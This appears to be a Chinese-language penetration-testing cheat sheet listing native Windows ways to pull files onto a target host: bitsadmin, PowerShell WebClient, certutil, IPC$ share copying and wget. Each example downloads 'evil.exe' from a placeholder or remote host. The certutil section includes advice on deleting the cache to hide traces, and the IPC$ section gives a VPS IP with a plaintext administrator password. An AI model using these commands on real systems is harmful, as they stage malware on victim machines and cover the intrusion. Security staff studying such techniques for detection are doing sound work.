前言

核心思想为不能使用要求过高, 最好是windows原生就有的, 或是使用非常方便的才记录在此

方法一 - bitsadmin

  1. 使用方法:
  2. bitsadmin /transfer n '下载地址' '保存地址'
  3. 例子-下载在某个地方
  4. bitsadmin /transfer n http://baidu.com/evil-exe.txt C:\Users\miao\Desktop\evil.exe
  5. 下载完毕以后 C:\Users\miao\Desktop\ 就会出现个 evil.exe

方法二 - powershell

  1. 使用方法:
  2. powershell (new-object System.Net.WebClient).DownloadFile('下载地址',['保存地址'])
  3. 例子-下载在某个地方:
  4. powershell (new-object System.Net.WebClient).DownloadFile('http://test.com/evil-exe.txt','C:\evil.exe')
  5. 下载完毕以后 C 根目录就会出现个 evil.exe
  6. 例子-下载在当前路径:
  7. powershell (new-object System.Net.WebClient).DownloadFile('http://test.com/evil-exe.txt','evil.exe')
  8. 下载完毕以后, 当前程序执行的路径在哪里文件就会保存在哪里
  9. 例如现在程序执行的路径是 C:\Users\ 那么下载的文件就会保存在 C:\Users\ 这个目录下面

方法三 - certutil

注意: 由于使用certutil下载文件会留下缓存,所以下载完文件以后强烈建议在删除对应的缓存

  1. 缓存目录地址: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
  2. 使用方法:
  3. 下载文件: certutil -urlcache -split -f '下载地址' ['保存地址']
  4. 删除缓存: certutil -urlcache -split -f '下载地址' delete
  5. 例子-下载在当前路径:
  6. 下载文件: certutil -urlcache -split -f http://test.com/evil-exe.txt evil.exe
  7. 删除缓存: certutil -urlcache -split -f http://test.com/evil-exe.txt delete
  8. 例子-下载在某个地方:
  9. 下载文件: certutil -urlcache -split -f http://test.com/evil-exe.txt C:\Users\evil.exe
  10. 删除缓存: certutil -urlcache -split -f http://test.com/evil-exe.txt delete

方法四 - ipc$文件共享

  1. 使用方法:
  2. # 建立远程IPC连接
  3. net use \\'vps-ip'\ipc$ /user:'账号' '密码'
  4. # 复制远程文件到本地主机
  5. copy \\'vps-ip'\'盘符'$\'下载地址' '保存地址'
  6. windows-vps-环境
  7. ip:220.181.38.148
  8. 账号:administrator
  9. 密码:zaq123456789
  10. 现在这台vpsC:\Users\有user.txt内容为test
  11. 例子-通过外网vps下载文件在本机当前路径
  12. # 建立远程IPC连接
  13. net use \\220.181.38.148\ipc$ /user:administrator zaq123456789
  14. # 复制远程文件到本地主机
  15. # 复制远程vps主机的文件到本机的当前路径下,执行成功以后,本机的当前路径就会出现一个test.txt文件
  16. # 例如本机当前路径为:C:\Users\Administrator\Desktop
  17. # 那么执行完下面这个命令以后就会在这个路径生成一个test.txt文件
  18. copy \\220.181.38.148\c$\Users\test.txt
  19. 例子-通过外网vps下载文件在本机某个目录下
  20. # 建立远程IPC连接
  21. net use \\220.181.38.148\ipc$ /user:administrator zaq123456789
  22. # 复制远程文件到本地主机
  23. # 复制远程vps主机的文件到本机的C:\Windows\目录文件名叫test.exe
  24. copy \\220.181.38.148\c$\Users\test.txt C:\Windows\test.exe

方法五 - wget

注:这个方法不是通用的,很多情况需要我们在目标机器上面下载个东西

  1. wget这个有点骚,很多情况下需要我们自己上传个exe,不是很符合本文章,所以要看情况使用
  2. windows2006会自带wget命令, 所以如果是windows2006那就不用上传wget.exe文件
  3. 直接使用 wget -O '保存地址' '下载地址' 下载文件 即可

这里我也提供下载好的, 方便直接下载, zip文件里面有两个文件wget-64.exe与wget-32.exe请按自己实战需求使用

  1. 使用方法:
  2. wget-64.exe -O '保存地址' '下载地址'
  3. 例子-下载在当前路径:
  4. wget-64.exe -O "evil.exe" http://test.com/evil-exe.txt
  5. 例子-下载在某个地方:
  6. wget-64.exe wget -O "C:\Users\evil.exe" http://baidu.com/evil-exe.txt